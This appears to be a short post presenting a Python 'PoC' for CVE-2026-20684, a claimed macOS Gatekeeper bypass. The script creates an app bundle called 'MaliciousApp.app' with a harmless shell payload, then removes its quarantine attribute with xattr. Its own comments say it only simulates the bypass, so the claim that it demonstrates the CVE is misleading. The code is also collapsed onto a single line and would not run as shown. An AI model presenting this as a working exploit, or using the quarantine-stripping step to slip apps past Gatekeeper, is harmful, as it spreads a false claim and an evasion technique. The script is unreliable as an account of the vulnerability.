CVE-2026-20684 macOS Gatekeeper绕过漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-20684 (Gatekeeper Bypass) # This script demonstrates how an app might bypass Gatekeeper checks # by manipulating file attributes or leveraging the permissions flaw. import os import subprocess def create_malicious_app(): app_name = "MaliciousApp.app" print(f"[*] Creating {app_name} structure...") # Create basic app structure contents_dir = os.path.join(app_name, "Contents") macos_dir = os.path.join(contents_dir, "MacOS") os.makedirs(macos_dir, exist_ok=True) # Create a malicious payload (simple shell script) payload_path = os.path.join(macos_dir, "malicious_app") with open(payload_path, 'w') as f: f.write("#!/bin/bash\n") f.write("echo 'Gatekeeper Bypassed!'\n") f.write("say 'System compromised'\n") os.chmod(payload_path, 0o755) # Create Info.plist (Minimal configuration) plist_path = os.path.join(contents_dir, "Info.plist") with open(plist_path, 'w') as f: f.write('<?xml version="1.0" encoding="UTF-8"?>\n') f.write('<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n') f.write('<plist version="1.0">\n') f.write('<dict>\n') f.write(' <key>CFBundleExecutable</key>\n') f.write(' <string>malicious_app</string>\n') f.write(' <key>CFBundleIdentifier</key>\n') f.write(' <string>com.example.malicious</string>\n') f.write('</dict>\n') f.write('</plist>\n') # Attempt to remove quarantine attributes to simulate bypass # In a real exploit, the vulnerability would allow this without triggering warnings try: subprocess.run(['xattr', '-d', 'com.apple.quarantine', app_name], check=False) print(f"[+] Quarantine attributes removed from {app_name}") except Exception as e: print(f"[-] Error removing attributes: {e}") print(f"[+] PoC created at ./{app_name}") print("[*] Run 'open ./' + app_name + ' to test interaction") if __name__ == "__main__": create_malicious_app()